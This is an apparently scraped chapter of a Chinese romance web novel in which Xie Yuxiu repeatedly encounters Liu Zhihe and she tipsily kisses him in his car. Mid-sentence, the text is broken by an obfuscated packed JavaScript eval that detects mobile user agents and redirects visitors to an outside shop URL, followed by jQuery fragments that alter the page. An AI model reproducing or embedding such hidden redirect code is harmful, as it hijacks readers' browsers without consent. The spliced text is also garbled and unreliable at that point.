谢聿修第一次见到柳知禾的时候，是在她的毕业典礼上。
少女穿着熨烫笔挺的深蓝色校服，站在演讲台上，背脊挺直，像是一株不蔓不枝的玉兰。他原本只是礼节性的出席——代替不争气的堂弟，全了谢柳两家的颜面。
她开口时，他正低头看手机。声音不大，却清冽干净，像冬天的第一口冷空气，不轻不重地落进耳朵里。
他抬起头，第一次认真看她。
说话言简意赅，语调清冽，姿态从容，不是刻意训练出来的端庄，而是一种更底层的、长在骨头里的笃定。她站在那儿，像是整个礼堂都是她的背景板。
他想起小时候看过的万花筒——轻轻一转，碎片便拼成全新的图案。而他不过是抬起头，看了她一眼，有什么东西就在心里悄悄转了一下。
他说不清那是什么。
只是当掌声响起时，他才意识到自己已经听了很久。台上的她微微欠身，嘴角扬起一个弧度——礼貌，得体，却带着一丝若有若无的疏离。
他跟着鼓掌，力度不大，掌心碰掌心，声音淹没在如潮的掌声里。旁边的柳雅臣侧过头说了句什么，他没有听见。
目光落在台上那个正在退场的身影上，深蓝色的校服裙摆轻轻一晃，消失在侧幕后面。
他收回视线，垂下眼，发现自己不知道什么时候把手机屏幕按亮了，上面是一条没发出去的短信，收件人栏是空的。
他锁了屏，把手机放回口袋。
没什么。只是看了一眼。
第二次见她，在江姝的生日宴上。
水晶吊灯的光晕里，她穿着墨绿丝绸长裙，脖颈纤长，站在人群之中，像一只敛翅的鹤。她遥遥望向楼梯上的他，目光相接的刹那，谢聿修竟觉得毕业典礼那日的万花筒又在转动。
碎光纷飞。
他没有犹豫，站在了她那一边。
不过，就算没有他，柳知禾对上白姎，也并没有吃亏。一句“专属定制”就让对方噎得脸色发白，装模作样的面具碎了一地。
谢聿修那时并没有走远，他站在走廊的阴影里，看着她侧脸那抹尚未收起的笑意——从容，机敏，像一只收起爪子的猫，明明刚挠了人，却一脸无辜。
他垂下眼，唇角微微动了一下。
弧度极浅，像风吹过水面，转瞬即逝。
第三次见她，是在酒店门口。
暴雨倾盆，她浑身湿透地站在门廊下，裙摆潮湿，发梢滴着水。墨绿色的丝绸贴在身上，勾勒出单薄的肩线。
她低着头，手里握着碎屏的手机，在大雨里瑟瑟发抖，像是一朵被淋坏的花，仿佛他若不将她捧起来，她就会死在这场大雨里。
不该多看。
但目光已经收不回来了。
谢聿修终是撑伞走近，向她伸出了手。
她抬起头，眼睫湿重，那可怜的模样，惹人垂涎，美丽的脸庞缀着水珠，纤细无助，看上去谁都可以折一折，一下子就占据了全部视线。
他喉结滚动，只将伞往她头顶偏了三分，将她全部笼进干燥的光晕里，任自己后背迅速洇开一片深色水痕。
知禾将手搭在他的掌心，她没说话，只是在借力时，因为腿伤加高跟鞋不稳趔趄地跌到了谢聿修的怀里。
伞檐被这冲力压低了几分，隔开滂沱雨幕，方寸之间只剩彼此呼吸的节奏。
她抬眸，水光未褪的眼底映着他模糊的轮廓：“......对不起，我的腿之前受过伤，还没好全。”
腿伤，是借口吗？
可她并没有投怀送抱的理由。
谢聿修喉结又是一动，声音很轻，像是怕惊动什么：“疼得厉害？”
知禾咬着唇点头，又逞强地补了一句：“还能走。”
他垂眼看着她，眸光温温润润的，像浸在井水里的玉。然后他站起身，微微俯身，做了一个极标准的“请”的手势——
“那，允许我僭越一次？”
她愣了一下。还没反应过来，他已补了一句：“作为赔罪，下次你脚好的时候，我让你踩回来。”
月光下，他的眼睛带着一点笑，温雅得像在念一首诗，可那笑意里分明藏着只有她懂的狡黠。
——说得她好像是什么睚眦必报的人一样。
知禾忽然想起两人第二次见面时，她用“专属定制”把白姎绕进去的样子。
原来他当时还没有走。
知禾眼睫颤了颤，正想着怎么挽回自己的“小白花”的形象，便听见他低笑一声，指尖轻轻拂过她腕骨内侧的微凉皮肤：“拿着伞。”
知禾条件反射地接过，还没回答。
他已脱下西服外套，搭在她身上，弯腰，手臂稳稳穿过她的膝弯和后背，动作轻得像捧着一件易碎的瓷器。
她下意识揽住他的脖子，听见他在耳边轻声说：“得罪了。”
车内的蒋青不过是往窗外看了一眼，就像被两人之间滚烫的氛围烫到了，立刻移开视线，不敢再多看他们。
......
柳知禾回过神来，已经坐在了谢聿修的车后座上，身上搭着他的西装外套，谢聿修坐在她身边，两人之间隔了半个人的距离。
他后背衬衫潮湿贴肤，显露出一片紧实的肩胛线条，本人却仍端坐如松，仿佛那湿意不过是微不足道的尘埃。
“柳小姐，您去哪儿？”蒋青问。
知禾侧过头看向谢聿修，思索片刻，摇了摇自己的碎屏的手机：“手机坏了，刷不开公寓的门，能把我送到学校吗？帝都大学仙林校区。”
车子驶入雨幕。
后座安静了很久，只有雨刷器单调的声响和电台里台风预警的播报。
谢聿修注意到她一直没松开那件外套。不是冷，是某种下意识的、把自己缩小的姿态。和宴会上的游刃有余判若两人。
他不该多看。
但目光总是不受控制地落过去。
蒋青忽然降下挡板，把后座隔成了一个独立的空间。
谢聿修的手指微微一顿。
他侧头看了柳知禾一眼——她正望着车窗外模糊的霓虹灯，像是什么都没注意到。但耳廓上那一点极淡的粉色，暴露了她并非无动于衷。
他收回视线，没有让蒋青把挡板升回去。
多此一举。
但此刻开口解释，反而欲盖弥彰。
柳知禾忽然弯了弯唇角。
“谢先生是坐怀不乱的君子，”她转过头，眼尾带着一点揶揄的笑意，“我不会误会的。”
他没有接话。
知禾的目光落在他脸上，像在确认什么，又像只是在欣赏什么。然后她移开视线，靠回座椅，语气自然地转了话题：
“在酒会上我一杯酒都没碰。本来以为要开车回家，结果车被开走了，酒也没喝上一口。”
她顿了顿，声音里带了一点恰到好处的委屈：“我早就成年了，可到现在为止还没喝过酒……我看大家都在喝，也不知道好不好喝。”
“谢先生，”喊他的时候，柳知禾故意拖着尾音，带着少女明媚的娇。“......可以请我喝一杯酒吗？”
谢聿修停了一下，未拒绝，声调沉沉带着几分不可言喻：“和没见过几次面的男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481567|201772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喝酒，是很危险的事情。”
“好吧......很危险......”
她似乎妥协了，嘟囔了一句。高跟鞋却在地毯上轻轻抵住了他的鞋尖，下一秒两人的距离拉近，清甜芳香扑近。
“危险，是因为......谢先生，对我心怀不轨吗？”
心跳在此刻乱了一拍，谢聿修就算心思澄明，在此刻幽闭的车厢，暧昧的氛围里，也难免生出几分旖旎。
他克制地虚握住拳，正欲将这不受控制的气氛拉回正轨，知禾却先于他一步，高跟鞋移开，好像方才的触碰只是不经意的巧合。
“酒这东西，说不上好喝。”他从酒柜里取出一支浅金色酒标的瓶子，斟了小半杯，推到她的手边，“莫斯卡托。入口是蜂蜜和青苹果的味道，酒精不过五度。”
他顿了顿，目光落在她脸上，语气不轻不重：“适合你。只此一杯。”
她端起酒杯，没有犹豫，仰头饮尽。
酒液在灯光下泛着琥珀色的光。她放下杯子时，眼睫颤了一下，像是被那点微弱的酒精灼到了。
“像咬了一口春天的脆桃。”她说，语气里带着一点意外，像是真的被这酒取悦了。
然后她的眼神开始变化——从清明到迷蒙，像有人在里面点了一把火，烧掉了所有的伪装和克制。
酡红从颧骨蔓延到耳尖，像三月枝头初绽的桃花。
她转向他，直勾勾地看着他。
谢聿修握着杯子的手指微微收紧。他没有后退，也没有移开视线，只是静静地坐在那里，任由她的目光一寸一寸地量过他的眉骨、鼻梁、唇角。
最后，落在喉结上。停了。
他不动声色地咽了一下。
“柳小姐。”他开口，声音比方才低了些，“你醉了。”
她眨了眨眼，像是得到了什么许可。下一秒，她忽然凑过来，一头扎进他怀里，唇落在他的唇上。
很轻。
像一片花瓣被风吹过来，来不及接住，就贴上了。
谢聿修的脊背僵了一瞬。
然后唇上传来一阵刺痛——她咬了他一口。
他身体微微后撤，手撑在座椅扶手上，指节泛白。拉开距离的瞬间，他看见她的眼睛——迷蒙的，潮湿的，却又亮得惊人，像深夜里被月光照亮的湖面。
“知道我是谁么。”他问，声音沙哑了几分。
她不满地嘀咕：“你是冻干。不过，你这冻干怎么不好吃。”
那本正经的嫌弃语气，像在挑剔超市里买到了次品。
谢聿修怔了一下。无奈在眼底化开，像墨滴入水。
“那你自己是什么？”他问。
她抿着唇，笑容甜甜，琉璃色的眼睛湿润如水：“我是猫猫。”
猫。
他看着她，忽然觉得她说得对。她确实像猫——不是那种慵懒高贵的波斯猫，而是那种会在深夜翻窗进来、踩着你胸口睡觉的野猫。
你以为你驯服了她，其实是她选择了你。
趁他恍惚，她又凑上前来，双手揽住他的脖子，像是不信邪，打算再尝一尝这“冻干”的咸淡。
这一次，他没有让她碰到。
他偏过头，扣住她的后脑，将她按进了自己肩窝里。动作不算温柔，甚至带着一点克制的、隐秘的凶——不是在对她，是在对自己。
她挣扎了一下。
他垂下眼，睫毛扫过她的侧脸，声音从头顶落下来，低沉而喑哑，像砂纸轻轻磨过木纹：“猫猫小姐，别动了。”
顿了顿。
“……我真的，不好吃。”